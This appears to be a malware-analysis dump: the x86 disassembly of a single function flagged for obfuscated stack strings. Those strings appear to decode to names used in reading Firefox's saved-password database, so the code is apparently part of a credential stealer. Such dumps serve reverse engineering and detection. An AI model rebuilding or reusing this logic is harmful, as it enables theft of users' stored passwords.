Function at 0x411480
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x4538ad
call fcn.004534f4
sub esp, 0x2c8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x64], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
push 0x406fc4
lea ecx, [ebp - 0x178]
call fcn.0040bc98
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x15]
push eax
push edi
lea ecx, [ebp - 0x1dc]
call fcn.00410a08
lea ecx, [ebp - 0x178]
call fcn.0040bc59
mov dl, 0xf
mov dword [ebp - 0x4a], 0x7b6a620f
mov dword [ebp - 0x46], 0x7b6e4b6e
mov word [ebp - 0x42], 0x6e
mov ecx, ebx
mov dword [ebp - 0xf8], ecx
cmp ecx, 8
jae 0x411516
mov al, byte [ebp + ecx - 0x49]
xor al, dl
mov byte [ebp + ecx - 0x49], al
inc ecx
mov dword [ebp - 0xf8], ecx
mov dl, byte [ebp - 0x4a]
jmp 0x4114fb
mov byte [ebp - 0x41], bl
lea eax, [ebp - 0x49]
push eax
lea ecx, [ebp - 0x268]
call fcn.0040bc98
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410a92
test al, al
je 0x411547
cmp byte [ebp - 0x15], bl
mov byte [ebp - 0x15], 1
jne 0x41154a
mov byte [ebp - 0x15], bl
lea ecx, [ebp - 0x268]
call fcn.0040bc59
cmp byte [ebp - 0x15], bl
je 0x411ef1
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
push 0xf
pop ecx
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x7c], bl
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x8c], ebx
mov edi, ecx
mov dword [ebp - 0x88], edi
mov byte [ebp - 0x9c], bl
mov eax, dword [ebp - 0x1a0]
sub eax, dword [ebp - 0x1a4]
cdq
mov dword [ebp - 0x84], 0xc
idiv dword [ebp - 0x84]
mov dword [ebp - 0x3c], eax
test eax, eax
jne 0x411680
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], ecx
mov byte [ebp - 0x9c], bl
mov ecx, dword [ebp - 0x68]
mov esi, 0x1000
cmp ecx, 0x10
jb 0x41161b
inc ecx
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x7c]
mov eax, edx
cmp ecx, esi
jb 0x411612
add ecx, 0x23
mov dword [ebp - 0xfc], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], bl
lea ecx, [ebp - 0x1dc]
call fcn.00411ff7
mov edx, dword [ebp - 0x38]
test edx, edx
je 0x411f6a
mov ecx, dword [ebp - 0x30]
sub ecx, edx
mov dword [ebp - 0x100], ecx
mov eax, edx
cmp ecx, esi
jb 0x411669
add ecx, 0x23
mov dword [ebp - 0x100], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
jmp 0x411f6a
mov esi, ebx
mov dword [ebp - 0x10c], esi
cmp esi, eax
jge 0x41175c
mov dl, 0x4d
mov dword [ebp - 0x54], 0x3e2c3d4d
mov dword [ebp - 0x50], 0x3f223a3e
mov word [ebp - 0x4c], 0x29
mov ecx, ebx
mov dword [ebp - 0x108], ecx
cmp ecx, 8
jae 0x4116c9
mov al, byte [ebp + ecx - 0x53]
xor al, dl
mov byte [ebp + ecx - 0x53], al
inc ecx
mov dword [ebp - 0x108], ecx
mov dl, byte [ebp - 0x54]
jmp 0x4116ae
mov byte [ebp - 0x4b], bl
push ebx
push esi
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410cdb
lea edx, [ebp - 0x53]
mov ecx, eax
call fcn.00412c2f
mov bl, al
lea ecx, [ebp - 0x190]
call fcn.0040bc59
test bl, bl
je 0x4117ab
push 1
push esi
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410cdb
push eax
lea ecx, [ebp - 0x7c]
call fcn.0040cac9
lea ecx, [ebp - 0x190]
call fcn.0040bc59
push 2
push esi
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410cdb
push eax
lea ecx, [ebp - 0x9c]
call fcn.0040cac9
lea ecx, [ebp - 0x190]
call fcn.0040bc59
mov edi, dword [ebp - 0x88]
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov edx, ebx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], ebx
lea esi, [ebp - 0x9c]
cmp edi, 0x10
cmovae esi, dword [ebp - 0x9c]
mov dword [ebp - 0x110], esi
lea ecx, [ebp - 0x9c]
cmovae ecx, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x8c]
add edi, ecx
cmp esi, edi
je 0x4117db
mov al, byte [esi]
mov byte [ebp - 0x15], al
cmp edx, dword [ebp - 0x1c]
je 0x4117c2
mov byte [edx], al
mov edx, dword [ebp - 0x20]
inc edx
mov dword [ebp - 0x20], edx
jmp 0x4117d2
inc esi
mov dword [ebp - 0x10c], esi
mov edi, dword [ebp - 0x88]
xor ebx, ebx
mov eax, dword [ebp - 0x3c]
jmp 0x411688
lea eax, [ebp - 0x15]
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.00412fee
mov edx, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x110], esi
jmp 0x411792
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x7d]
call fcn.0040d350
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x20]
add eax, 0x10
push eax
lea ecx, [ebp - 0xcc]
call fcn.004125df
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
add eax, 0x2c
push eax
lea ecx, [ebp - 0xc0]
call fcn.004125df
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], edx
lea esi, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
cmovae esi, dword [ebp - 0x7c]
mov dword [ebp - 0x114], esi
lea edi, [ebp - 0x7c]
cmovae edi, dword [ebp - 0x7c]
add edi, dword [ebp - 0x6c]
cmp esi, edi
je 0x411877
mov al, byte [esi]
mov byte [ebp - 0x26], al
cmp edx, dword [ebp - 0x1c]
je 0x41185e
mov byte [edx], al
mov edx, dword [ebp - 0x20]
inc edx
mov dword [ebp - 0x20], edx
jmp 0x41186e
lea eax, [ebp - 0x26]
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.00412fee
mov edx, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x114], esi
jmp 0x411845
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x250]
call fcn.0040ebc7
mov edx, dword [ebp - 0xa8]
mov esi, 0x1000
test edx, edx
je 0x4118fe
mov ecx, dword [ebp - 0xa0]
sub ecx, edx
mov dword [ebp - 0x118], ecx
mov eax, edx
cmp ecx, esi
jb 0x4118e3
add ecx, 0x23
mov dword [ebp - 0x118], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
lea ecx, [ebp - 0x250]
call fcn.0040ec58
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x220]
push eax
lea edx, [ebp - 0x22c]
lea ecx, [ebp - 0x280]
call fcn.0040f2fe
movaps xmm0, xmmword [0x407110]
movups xmmword [ebp - 0x160], xmm0
mov ecx, ebx
mov dword [ebp - 0x11c], ecx
cmp ecx, 0xe
jae 0x41195a
mov al, byte [ebp + ecx - 0x15f]
xor al, byte [ebp - 0x160]
mov byte [ebp + ecx - 0x15f], al
inc ecx
jmp 0x411938
mov byte [ebp - 0x151], bl
lea edx, [ebp - 0x15f]
lea ecx, [ebp - 0x280]
call fcn.00412c2f
test al, al
je 0x411d98
mov dl, 0x36
mov dword [ebp - 0x60], 0x45455836
mov dword [ebp - 0x5c], 0x405f4466
mov dword [ebp - 0x58], 0x534257
mov ecx, ebx
mov dword [ebp - 0x120], ecx
cmp ecx, 0xa
jae 0x4119b3
mov al, byte [ebp + ecx - 0x5f]
xor al, dl
mov byte [ebp + ecx - 0x5f], al
inc ecx
mov dword [ebp - 0x120], ecx
mov dl, byte [ebp - 0x60]
jmp 0x411998
mov byte [ebp - 0x55], bl
lea eax, [ebp - 0x5f]
push eax
lea ecx, [ebp - 0x298]
call fcn.0040bc98
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410a92
mov bl, al
lea ecx, [ebp - 0x298]
call fcn.0040bc59
test bl, bl
je 0x411d96
mov eax, dword [ebp - 0x1a0]
sub eax, dword [ebp - 0x1a4]
mov dword [ebp - 0xd0], eax
add eax, 0xfff40000
cmp eax, dword [ebp - 0x84]
jb 0x411d96
push 0x406fc4
lea ecx, [ebp - 0x150]
call fcn.0040bc98
xor ebx, ebx
mov edi, ebx
mov dword [ebp - 0xd4], edi
mov eax, dword [ebp - 0xd0]
cdq
idiv dword [ebp - 0x84]
cmp edi, eax
jge 0x411b2d
push 0x17
push edi
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410cdb
cmp dword [ebp - 0x128], ebx
je 0x411b7e
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
lea edx, [ebp - 0x138]
cmp dword [ebp - 0x124], 0x10
cmovae edx, dword [ebp - 0x138]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0xe8], edx
lea eax, [ebp - 0x138]
cmovae eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x128]
mov dword [ebp - 0x40], eax
cmp edx, eax
je 0x411ad3
mov al, byte [edx]
mov byte [ebp - 0x27], al
cmp ecx, dword [ebp - 0x1c]
je 0x411ab1
mov byte [ecx], al
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x20], ecx
jmp 0x411ac4
lea eax, [ebp - 0x27]
push eax
push ecx
lea ecx, [ebp - 0x24]
call fcn.00412fee
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x3c]
inc edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0x40]
jmp 0x411a98
mov eax, ecx
mov edx, dword [ebp - 0x24]
sub eax, edx
cmp eax, 0x10
jne 0x411b7e
cmp byte [edx], 0xf8
jne 0x411b7e
cmp byte [ecx - 1], 1
jne 0x411b7e
push 6
push edi
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00410cdb
push eax
lea ecx, [ebp - 0x150]
call fcn.0040cac9
lea ecx, [ebp - 0x190]
call fcn.0040bc59
lea ecx, [ebp - 0x138]
call fcn.0040bc59
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], edx
lea edi, [ebp - 0x150]
cmp dword [ebp - 0x13c], 0x10
cmovae edi, dword [ebp - 0x150]
mov dword [ebp - 0xd8], edi
lea ecx, [ebp - 0x150]
cmovae ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x140]
add eax, ecx
mov dword [ebp - 0x40], eax
cmp edi, eax
je 0x411bab
mov al, byte [edi]
mov byte [ebp - 0x28], al
cmp edx, dword [ebp - 0x1c]
je 0x411b8f
mov byte [edx], al
mov edx, dword [ebp - 0x20]
inc edx
mov dword [ebp - 0x20], edx
jmp 0x411b9f
lea ecx, [ebp - 0x138]
call fcn.0040bc59
inc edi
jmp 0x411a23
lea eax, [ebp - 0x28]
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.00412fee
mov edx, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0xd8], edi
mov eax, dword [ebp - 0x40]
jmp 0x411b65
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x25]
call fcn.0040d350
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x20]
add eax, 0x10
push eax
lea ecx, [ebp - 0xcc]
call fcn.00412549
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax + 4]
add eax, 0x2c
push eax
lea ecx, [ebp - 0xc0]
call fcn.00412549
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x20], edx
lea edi, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
cmovae edi, dword [ebp - 0x7c]
mov dword [ebp - 0xdc], edi
lea ecx, [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x6c]
add eax, ecx
mov dword [ebp - 0x40], eax
cmp edi, eax
je 0x411c4f
mov al, byte [edi]
mov byte [ebp - 0x29], al
cmp edx, dword [ebp - 0x1c]
je 0x411c33
mov byte [edx], al
mov edx, dword [ebp - 0x20]
inc edx
mov dword [ebp - 0x20], edx
jmp 0x411c43
lea eax, [ebp - 0x29]
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.00412fee
mov edx, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0xdc], edi
mov eax, dword [ebp - 0x40]
jmp 0x411c1a
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.0040ebc7
push eax
lea ecx, [ebp - 0x250]
call fcn.00411fb2
lea ecx, [ebp - 0x2d4]
call fcn.00411f87
mov edx, dword [ebp - 0xb4]
test edx, edx
je 0x411ce8
mov ecx, dword [ebp - 0xac]
sub ecx, edx
mov dword [ebp - 0xe0], ecx
mov eax, edx
cmp ecx, esi
jb 0x411ccd
add ecx, 0x23
mov dword [ebp - 0xe0], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
lea ecx, [ebp - 0x250]
call fcn.0040ec58
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x220]
push eax
lea edx, [ebp - 0x22c]
lea ecx, [ebp - 0x178]
call fcn.0040f2fe
mov edi, ebx
mov dword [ebp - 0xe4], edi
mov ecx, dword [ebp - 0x34]
cmp edi, dword [ebp - 0x168]
jae 0x411d68
lea eax, [ebp - 0x178]
cmp dword [ebp - 0x164], 0x10
cmovae eax, dword [ebp - 0x178]
mov al, byte [eax + edi]
mov byte [ebp - 0x25], al
cmp ecx, dword [ebp - 0x30]
je 0x411d4f
mov byte [ecx], al
mov ecx, dword [ebp - 0x34]
inc ecx
mov dword [ebp - 0x34], ecx
jmp 0x411d5f
lea eax, [ebp - 0x25]
push eax
push ecx
lea ecx, [ebp - 0x38]
call fcn.00412fee
mov ecx, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0xe4], edi
jmp 0x411d1d
lea ecx, [ebp - 0x178]
call fcn.0040bc59
lea ecx, [ebp - 0x1e8]
call fcn.0040c108
lea ecx, [ebp - 0x1f4]
call fcn.00412925
lea ecx, [ebp - 0x150]
call fcn.0040bc59
jmp 0x411d98
xor ebx, ebx
lea ecx, [ebp - 0x280]
call fcn.0040bc59
lea ecx, [ebp - 0x250]
call fcn.00411f87
mov ecx, dword [ebp - 0xc0]
test ecx, ecx
je 0x411dd7
mov edx, dword [ebp - 0xb8]
sub edx, ecx
call fcn.0040b033
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
mov ecx, dword [ebp - 0xcc]
test ecx, ecx
je 0x411e00
mov edx, dword [ebp - 0xc4]
sub edx, ecx
call fcn.0040b033
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
lea ecx, [ebp - 0x204]
call fcn.0040c108
lea ecx, [ebp - 0x210]
call fcn.00412925
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x411e5a
mov ecx, dword [ebp - 0x1c]
sub ecx, edx
mov dword [ebp - 0x104], ecx
mov eax, edx
cmp ecx, esi
jb 0x411e48
add ecx, 0x23
mov dword [ebp - 0x104], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x411e9b
inc ecx
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0x9c]
mov eax, edx
cmp ecx, esi
jb 0x411e92
add ecx, 0x23
mov dword [ebp - 0xec], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], bl
mov ecx, dword [ebp - 0x68]
cmp ecx, 0x10
jb 0x411eec
inc ecx
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0x7c]
mov eax, edx
cmp ecx, esi
jb 0x411ee3
add ecx, 0x23
mov dword [ebp - 0xf0], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov byte [ebp - 0x7c], bl
jmp 0x411ef6
mov esi, 0x1000
lea eax, [ebp - 0x38]
push eax
mov edi, dword [ebp - 0x64]
mov ecx, edi
call fcn.0040c040
lea ecx, [ebp - 0x1dc]
call fcn.00411ff7
mov edx, dword [ebp - 0x38]
test edx, edx
je 0x411f4f
mov ecx, dword [ebp - 0x30]
sub ecx, edx
mov dword [ebp - 0xf4], ecx
mov eax, edx
cmp ecx, esi
jb 0x411f3d
add ecx, 0x23
mov dword [ebp - 0xf4], ecx
mov edx, dword [edx - 4]
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411f7c
push ecx
push edx
call fcn.0044488d
pop ecx
pop ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov eax, edi
jmp 0x411f6d
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00448974
int3